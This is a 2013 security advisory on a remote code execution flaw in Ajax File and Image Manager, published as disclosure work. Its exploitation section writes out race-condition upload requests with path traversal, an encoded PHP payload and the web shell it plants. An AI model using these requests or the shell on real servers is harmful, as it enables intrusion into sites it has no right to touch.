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(PT-2013-41) Positive Technologies Security Advisory 

Arbitrary Code Execution in Ajax File and Image Manager
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---[ Vulnerable software ]

Ajax File and Image Manager
Version: 1.1 and earlier

Link:
http://www.phpletter.com/DOWNLOAD/

---[ Severity level ]

Severity level:  High
Impact:  Arbitrary Code Execution
Access Vector:  Remote


CVSS v2: 
Base Score: 10
Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVE: not assigned

---[ Software description ]

Ajax file and Image Manager is an open source file manager, which employs Ajax and PHP. It can be used as a standalone web application, as well as the TinyMCE/FCKeditor plugin.

---[ Vulnerability description ]

The specialists of the Positive Research center have detected "Arbitrary Code Execution" vulnerability in Ajax File and Image Manager.

Due to incorrect application architecture, validation of file extension is implemented after uploading file. Uploaded file will subsequently be removed if its extension is not allowed by whitelist. Thus, you can refer to the uploaded file before its removal, resulting in arbitrary code execution.

Vulnerability exploitation example:

Send the following requests simultaneously:

1)

POST  /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/  HTTP/1.1

  Host: localhost

  User-Agent: google/agent

  Connection: keep-alive

  Content-Type: multipart/form-data;  boundary=---------------------------307211690811

  Content-Length: 613
-----------------------------307211690811

  Content-Disposition: form-data;  name="file"; filename="1.php"

  Content-Type: image/jpeg


<?php

  eval(base64_decode("JGZwID0gZm9wZW4oIi5odGFjY2VzcyIsICJ3Iik7CiRodGFjY2VzcyA9ICc8RmlsZXNNYXRjaCAi

  LihwaHApJCI+CkFsbG93IGZyb20gYWxsCjwvRmlsZXNtYXRjaD4nOwokdGVzdCA9IGZ3cml0ZSgk

  ZnAsICRodGFjY2Vzcyk7CmZjbG9zZSgkZnApOwojaWYoZmlsZV9leGlzdHMoIjIucGhwIikpIHtk

  aWUoKTt9CiRmcDEgPSBmb3BlbigiMi5waHAiLCAidyIpOwokY29kZSA9ICc8P3BocCBldmFsKCRf

  UkVRVUVTVFtjXSk7ID8+JzsKJHRlc3QgPSBmd3JpdGUoJGZwMSwgJGNvZGUpOwpmY2xvc2UoJGZw

  MSk7")); 

  ?>

  -----------------------------307211690811—



2)


POST  /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/  HTTP/1.1

  Host: localhost

  User-Agent: google/agent

  Connection: keep-alive

  Content-Type: multipart/form-data;  boundary=---------------------------307211690811

  Content-Length: 240
-----------------------------307211690811

  Content-Disposition: form-data;  name="file"; filename=".htaccess"

  Content-Type: image/jpeg


<FilesMatch ".(php)$">

  Allow from all

  </FilesMatch>

  -----------------------------307211690811—



3)


GET /targethost/images/banner/1.php  HTTP/1.1

  Host: localhost

  Connection: keep-alive

This will also create the following files in the /targethost/images/banner directory:
.htaccess with


<FilesMatch ".(php)$">

  Allow from all

  </Filesmatch>


and 2.php with <?php eval($_REQUEST[c]); ?>.

---[ How to fix ]

No solution

---[ Advisory status ]

20.06.2013 - Vendor gets vulnerability details
04.09.2013 - Vulnerability details were sent to CERT
17.09.2013 - Public disclosure

---[ Credits ]

The vulnerability was detected by Ilya Krupenko, Positive Research Center (Positive Technologies Company)